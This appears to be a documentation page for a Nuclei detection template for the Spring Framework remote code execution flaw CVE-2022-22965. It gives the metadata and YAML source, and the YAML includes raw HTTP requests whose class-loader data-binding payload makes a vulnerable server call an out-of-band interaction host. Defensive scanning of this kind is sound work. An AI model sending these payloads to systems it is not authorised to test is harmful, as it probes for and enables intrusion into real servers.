Spring - Remote Code Execution
ID: CVE-2022-22965
Severity: critical
Author: justmumu,arall,dhiyaneshDK,akincibor
Tags: cve2022,cve,rce,spring,injection,oast,intrusive,kev,vmware
Description
Section titled “Description”Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
YAML Source
Section titled “YAML Source”id: CVE-2022-22965
info: name: Spring - Remote Code Execution author: justmumu,arall,dhiyaneshDK,akincibor severity: critical description: | Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to this exploit. reference: - https://tanzu.vmware.com/security/cve-2022-22965 - https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/ - https://twitter.com/RandoriAttack/status/1509298490106593283 - https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw - https://twitter.com/_0xf4n9x_/status/1509935429365100546 - https://nvd.nist.gov/vuln/detail/cve-2022-22965 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-22965 cwe-id: CWE-94 epss-score: 0.97493 epss-percentile: 0.99972 cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* metadata: max-request: 4 vendor: vmware product: spring_framework tags: cve2022,cve,rce,spring,injection,oast,intrusive,kev,vmware
http: - raw: - | POST {{BaseURL}} HTTP/1.1 Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx - | GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1
payloads: interact_protocol: - "http" - https
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"
- type: word part: interactsh_request words: - "User-Agent: Java" case-insensitive: true# digest: 4a0a00473045022036e36c209bd3bc2f5a37e213a734565109c9fb3e726b56608b0b286ea1577afa022100daed9395533a33bf56f969d47e275e019acff469024a0893351cfb0daee17c10:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-22965.yaml"